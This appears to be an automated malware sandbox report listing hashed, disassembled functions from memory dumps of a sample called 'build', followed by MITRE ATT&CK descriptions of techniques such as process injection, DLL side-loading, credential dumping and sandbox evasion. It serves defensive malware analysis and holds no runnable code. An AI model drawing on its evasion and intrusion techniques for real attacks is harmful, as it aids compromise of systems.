Uniqueness

Uniqueness Score: -1.00%

Function 067B75E0 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,067B749E), ref: 067B764E

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1b017bf32a61544f688bb1415fe0c55e366b71797f313f42a08f969104a8b4ad
Instruction ID: a8523b4905f0458c65b2f2e72b986da6462bb7f3015d5aca064353b505b72fd7
Opcode Fuzzy Hash: 1b017bf32a61544f688bb1415fe0c55e366b71797f313f42a08f969104a8b4ad
Instruction Fuzzy Hash: 761126B5D003098FDB24DF9AC844BDEFBF5EF88224F10842AD419A7650D775A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 067B7140 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,067B749E), ref: 067B764E

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4f2fcaca7fbdfeb288da1c3cfa58156c71ca81bc00fee791bc000b72c22fd9e2
Instruction ID: 55e9d3c6d64f85e8743ec6782646ebb266a27eebb56e40c1bafb6ff8ea45461b
Opcode Fuzzy Hash: 4f2fcaca7fbdfeb288da1c3cfa58156c71ca81bc00fee791bc000b72c22fd9e2
Instruction Fuzzy Hash: 1E1123B5C003098FDB24DF9AC444BDEFBF5EF88224F10842AD819A7200D779A546CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 013B0CE0 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 013B0D47

Memory Dump Source

Source File: 00000000.00000002.1424096954.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13b0000_build.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 360981b728864dabdefcc8230c05fc1ed7b4e1dcae488083652e554fa6a2bd19
Instruction ID: 59fee3d7a1eb8772957acbb5ac47dd8432a3d17e48b981bfb1434e4e04c4df78
Opcode Fuzzy Hash: 360981b728864dabdefcc8230c05fc1ed7b4e1dcae488083652e554fa6a2bd19
Instruction Fuzzy Hash: 9C111675D003098FDB24DFAAC4857EEBBF5AB88324F20851AD519A7640CB796945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 013B0CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 013B0D47

Memory Dump Source

Source File: 00000000.00000002.1424096954.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13b0000_build.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: fb019780afece889b83e05c9e2f342670399c8eee9aebfdb02a790cfcc38e981
Instruction ID: 3e0cd1ac5841becc59469032b4e05f1715319ab6e084f6fcf7bc4a5bf33a8dac
Opcode Fuzzy Hash: fb019780afece889b83e05c9e2f342670399c8eee9aebfdb02a790cfcc38e981
Instruction Fuzzy Hash: A7113375D003098FDB24DFAAC485BDFFBF5AB48224F20841AD519A7680CB39A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06801550 Relevance: 1.4, Instructions: 1414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb55e0c33fc009891a8c8ccb8cef41c2f7167106d188f232a1279ec8a5c4082
Instruction ID: 253deadfdb9ba9a88adee3379ecf44214ec9d8870deb408114e32cb6e00ca55b
Opcode Fuzzy Hash: 3bb55e0c33fc009891a8c8ccb8cef41c2f7167106d188f232a1279ec8a5c4082
Instruction Fuzzy Hash: 47C25D34A002189FDB65DB54C890B9DBBB6FF88704F508099E649AB3A5CB71ED81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0680349D Relevance: 1.3, Instructions: 1282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923d3822ef5ae6467d7d614d76dfa9edaf1e35d492d12bc9b005484eada1f57b
Instruction ID: 3c5ad1075dd56b50b3b2ca7f9f371d03036af098916cc83c618bf64b729c7736
Opcode Fuzzy Hash: 923d3822ef5ae6467d7d614d76dfa9edaf1e35d492d12bc9b005484eada1f57b
Instruction Fuzzy Hash: EEA1C474B002459FEB55DF68CC54A6EBBF6FF89204B11886AE616DB3A1CB30DC06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06800048 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a00724916a9f04488acef5ab6991859f1e97166ca9dddf833403e2b2e68e40
Instruction ID: 81f134e3cd570fdcce4ced0ecbd4698db097add2b1a2ff8cc0551cd574dbf052
Opcode Fuzzy Hash: 67a00724916a9f04488acef5ab6991859f1e97166ca9dddf833403e2b2e68e40
Instruction Fuzzy Hash: D0429D34B107248FEB64AF65D45066EBBB2BFC5305B504A4CD5039F395CB76EC068B8A

Uniqueness

Uniqueness Score: -1.00%

Function 068019C8 Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d6e44adf112eb158f888bc54d2e96f4077d6a0809b3719468680a652623d04
Instruction ID: 5385a38f700222b28417d013cb3bfdb31174a2cd1224ba639b0cd3cc74743fed
Opcode Fuzzy Hash: 64d6e44adf112eb158f888bc54d2e96f4077d6a0809b3719468680a652623d04
Instruction Fuzzy Hash: 95229E34B042148FE765DB14C8A1FAEB3B6FF88744F118499EA099B395CB71ED818F91

Uniqueness

Uniqueness Score: -1.00%

Function 068004F3 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09a509e5e82c00faca0e1dbedcd55e85d5bb9c6a102427fe48f12a1267b95114
Instruction ID: 67b5a3994fe3aef1e2fc689660d42ca1e33fd63c66d0dd10e316c28dd8dc252a
Opcode Fuzzy Hash: 09a509e5e82c00faca0e1dbedcd55e85d5bb9c6a102427fe48f12a1267b95114
Instruction Fuzzy Hash: FA129A34B107148FEB64AF65D851B6EBBB2BFC5305F10894CD5029F3A5CB75E8068B86

Uniqueness

Uniqueness Score: -1.00%

Function 06800569 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af999c85f85c75827c03b290bb9b9b5d53d4a0077f434305984fde986e8a9e0d
Instruction ID: cff91c4bda8de6075a0f210fda89b2f060d4530bbec2969f0ee66794596b97d9
Opcode Fuzzy Hash: af999c85f85c75827c03b290bb9b9b5d53d4a0077f434305984fde986e8a9e0d
Instruction Fuzzy Hash: 2102AA34B107148FEB64EF65D851B6EBBB2BFC5305F108948E5029F3A5CB75E8068B86

Uniqueness

Uniqueness Score: -1.00%

Function 068005DF Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f44c38582123873c353ebe59716aa5c309af0ec02fd9194438569450885ab6
Instruction ID: 23b5743b32be6d59a1a33d45e75e69c57d93553ecd0a965f766e9f8004cb44c3
Opcode Fuzzy Hash: 34f44c38582123873c353ebe59716aa5c309af0ec02fd9194438569450885ab6
Instruction Fuzzy Hash: 1F029B34B00714DFEB64DF65C851B6EBBB2BF85304F108949E6029F3A5CB75E9068B86

Uniqueness

Uniqueness Score: -1.00%

Function 06800655 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 910fc13bb2af44152d59c47fa3b5fa39412e341249b271445448c3291c1ac9a5
Instruction ID: b4fa36a647d4b38d591a6fb7e2c4e6ca8e8f6006a9095b63e41c9f7c7780e8e9
Opcode Fuzzy Hash: 910fc13bb2af44152d59c47fa3b5fa39412e341249b271445448c3291c1ac9a5
Instruction Fuzzy Hash: 0DF18A34B00714DFEB64DF65C855B6EBBB2BF89304F108949E6029F3A5CB75E9068B81

Uniqueness

Uniqueness Score: -1.00%

Function 068006CB Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df545193e7e5a2aa8ddef0616fa318681b4f3f7f58c933b221faa3ee2e4c0663
Instruction ID: 6bea8209538416ac4447306a9fa4d271cee91b26362b5ae56898ec493e3657b0
Opcode Fuzzy Hash: df545193e7e5a2aa8ddef0616fa318681b4f3f7f58c933b221faa3ee2e4c0663
Instruction Fuzzy Hash: 41E19B34B00604DFEB54DF65C855B6EBBB2BF89704F108449EA029F3A6CB71E9068B91

Uniqueness

Uniqueness Score: -1.00%

Function 06800013 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3fe2a90ef96f602ce1218e5644c38563bc0432941b34230db85fdb2042764d
Instruction ID: f2a5ff4a81a4edcd276d1d80fa50a4cd397c98fcad504f2c0a2723e5ceea6335
Opcode Fuzzy Hash: 2f3fe2a90ef96f602ce1218e5644c38563bc0432941b34230db85fdb2042764d
Instruction Fuzzy Hash: CBD1AA34B042049FEB558F64C856B6E7BB6BF89304F15845AEA01DF3A6CBB1DC06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06800047 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec0d076b6fcb94c0fc99d4910783bd272c647ee5ec674e87eb7214113ea4b97
Instruction ID: 48eeedb490dcf35c2559b5a147d34b659e2a1b4883defcf7aa545a0247870644
Opcode Fuzzy Hash: 0ec0d076b6fcb94c0fc99d4910783bd272c647ee5ec674e87eb7214113ea4b97
Instruction Fuzzy Hash: F3C18A34B00204DFEB54DFA5C856B6E7BB6BF88704F148459EA05DB3A5CBB1D806CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06803138 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2681b01f9fb857935bc49b23bef45e28e4810b4cc9301de8f6b6a6faca6ca3a5
Instruction ID: ab47fedc11f99cd2bde93928e2077e49874cbeaa2551cb1a5a091b20e76c2509
Opcode Fuzzy Hash: 2681b01f9fb857935bc49b23bef45e28e4810b4cc9301de8f6b6a6faca6ca3a5
Instruction Fuzzy Hash: 23917F35B102059FDB54CF69C884A9EBBF2FF89710B1584AAE905EB3A1DB31EC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 068011A8 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6276d787abc76d450a6822ebd818a819055b2b46e8ea112866f3d2b130bfe94
Instruction ID: 69fc9b8438ba81458de6d3593021307b940342ed0f93bfcf5fa9d609e278b833
Opcode Fuzzy Hash: e6276d787abc76d450a6822ebd818a819055b2b46e8ea112866f3d2b130bfe94
Instruction Fuzzy Hash: F3513B31B002048FEB91ABE99C4456EB7F5EFCA321B18897AD985C7691EB31C845C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0113D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423741128.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27febe751433e21ceb27ad388bac16a08976da004a25c5d278f285a249eceae2
Instruction ID: 27576a3755bdb92a683250f1f0dcc2c372b2f4bd82713f2a5a658b107d671b40
Opcode Fuzzy Hash: 27febe751433e21ceb27ad388bac16a08976da004a25c5d278f285a249eceae2
Instruction Fuzzy Hash: D821F472604240DFDF19DF54E9C0B16BB65FBC8714F64C269E9090A24AC336D416CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0136D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423844048.000000000136D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0136D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_136d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cd7c10fcdedc5f625e587bf9065c7450fa9540ff9d0722e927354140749cff0
Instruction ID: db1ab8f3cff7da3d48b3769869ad6322d07ec79ce81ca1259fa965f4bdab90b0
Opcode Fuzzy Hash: 0cd7c10fcdedc5f625e587bf9065c7450fa9540ff9d0722e927354140749cff0
Instruction Fuzzy Hash: 4D212571604204DFDB05DF94D9C0B26BB69FB8831CF20C56DD9894B64AC736D806CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0136D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423844048.000000000136D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0136D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_136d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 621575b023a41f249200d0e7b6225e94b093aaaee53543ae8980328f90041ad6
Instruction ID: c94f6ae9803e75daaef758275e09a6979cfac1eaa2b5b847a275005e6f523dcd
Opcode Fuzzy Hash: 621575b023a41f249200d0e7b6225e94b093aaaee53543ae8980328f90041ad6
Instruction Fuzzy Hash: 9A212371704244DFDB11DF54D9C4B2ABB69FB84328F34C56DD8894B68AC33AD446CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0113D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423741128.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce60a6613beba357b00576ac525f5d38281a445edcd2f7d64ba7977a5eeb665
Instruction ID: d8a064230bcecc1e61621c5e4af1e8dfc00fe76e2c0d8bad9084a2cd61a81ad2
Opcode Fuzzy Hash: 5ce60a6613beba357b00576ac525f5d38281a445edcd2f7d64ba7977a5eeb665
Instruction Fuzzy Hash: ED219D76504280DFCF1ADF54E9C4B16BF72FB88314F2486A9E9490A25BC33AD426CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0136D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423844048.000000000136D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0136D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_136d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2aa0ac69dbfc9ab00947b0048f034b327edea99ed69b312f674443a93577a4
Instruction ID: fae7db2ba5a3160cbf84ff2ef701c4da0f29622ced1fbfb23022540bf3dbf6ec
Opcode Fuzzy Hash: bf2aa0ac69dbfc9ab00947b0048f034b327edea99ed69b312f674443a93577a4
Instruction Fuzzy Hash: 5E119075604280CFDB12CF14D5C4B19BB61FB84324F24C6AAD8894B656C33AD446CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0136D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423844048.000000000136D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0136D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_136d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 1447beb2df31b5fbd4000d3359fa67e19f0a5292cdb7a0a8709e8765b52d12b9
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 2911D075604240CFCB06CF54C5C0B15BF71FB84318F24C6ADD9894B656C33AD40ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 068012E0 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818bb218bcfaa4aba59663f3411cd37df6b18c64820d0066a85610026b053209
Instruction ID: 727c118fa7217c715ab08ba1d5aa8b58f34ec238f4cdb21f0d260cf3c222c977
Opcode Fuzzy Hash: 818bb218bcfaa4aba59663f3411cd37df6b18c64820d0066a85610026b053209
Instruction Fuzzy Hash: 80012831E107058AEB90AEE99C040BDFBB4EE89320B01963AD98697650FB38C544C661

Uniqueness

Uniqueness Score: -1.00%

Function 0113DA41 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423741128.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f1936c1892154b0910060f374843d71f6b5716944f2d164804ad19b49042a3
Instruction ID: e9a4f24c2568124171aa2d862c820412d66e19cdb7d75c31411a696a0713394a
Opcode Fuzzy Hash: a9f1936c1892154b0910060f374843d71f6b5716944f2d164804ad19b49042a3
Instruction Fuzzy Hash: D8012B3150C3449FFB288A55DEC4B26BF98DFC0235F48C55AED090F28AC3389846CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 0113DA40 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423741128.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f614836ca9005ab386e5397a78b7b4ed68529e074812e93c6f2bd5c90a0880b6
Instruction ID: e1b79bc08e1f4e40d19e76faf7ad6913a27f818e5ee80dcf91c6f11d9a065fde
Opcode Fuzzy Hash: f614836ca9005ab386e5397a78b7b4ed68529e074812e93c6f2bd5c90a0880b6
Instruction Fuzzy Hash: 96F062715083449EEB148A19D984B62FF98EB85734F18C55AED084E28AC379A845CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 013BDC90 Relevance: 1.6, Strings: 1, Instructions: 381COMMON

Download Yara Rule

Strings

Hq, xrefs: 013BDDA4

Memory Dump Source

Source File: 00000000.00000002.1424096954.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13b0000_build.jbxd

Similarity

API ID:
String ID: Hq
API String ID: 0-1594803414
Opcode ID: eb1f0c780684b7b1bdf6dfb848b42e37ec36f3d93724f462e31cf129993d805d
Instruction ID: 551f79b2d171946857c5ed1d7011fb50f0ce3e1c45ae99a1979d61a2c78a2931
Opcode Fuzzy Hash: eb1f0c780684b7b1bdf6dfb848b42e37ec36f3d93724f462e31cf129993d805d
Instruction Fuzzy Hash: AED19434B002058FDB14DF79D494AAEBBF6AF89354B148469E646DB3A5EF30DC02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06800D50 Relevance: 10.3, Strings: 8, Instructions: 292COMMON

Download Yara Rule

Strings

$q, xrefs: 06800DCC
$q, xrefs: 06800F76
$q, xrefs: 06800F82
$q, xrefs: 06800F00
$q, xrefs: 06800E4E
$q, xrefs: 06800F50
$q, xrefs: 06800E42
$q, xrefs: 06800E1C

Memory Dump Source

Source File: 00000000.00000002.1432220751.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6800000_build.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: b7863c359c76a584ee4df9e408a0a04b8f1574559c69133fb8e2c58990bd1537
Instruction ID: 0af68f6f5b05d9344e3a9ba20e2a58f729118e1cf9587e797471f1de79cbdee6
Opcode Fuzzy Hash: b7863c359c76a584ee4df9e408a0a04b8f1574559c69133fb8e2c58990bd1537
Instruction Fuzzy Hash: 24B1A230B042458FEB98DB69C844B6EBBF6BF88310F15886AE506D73A1DB75DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

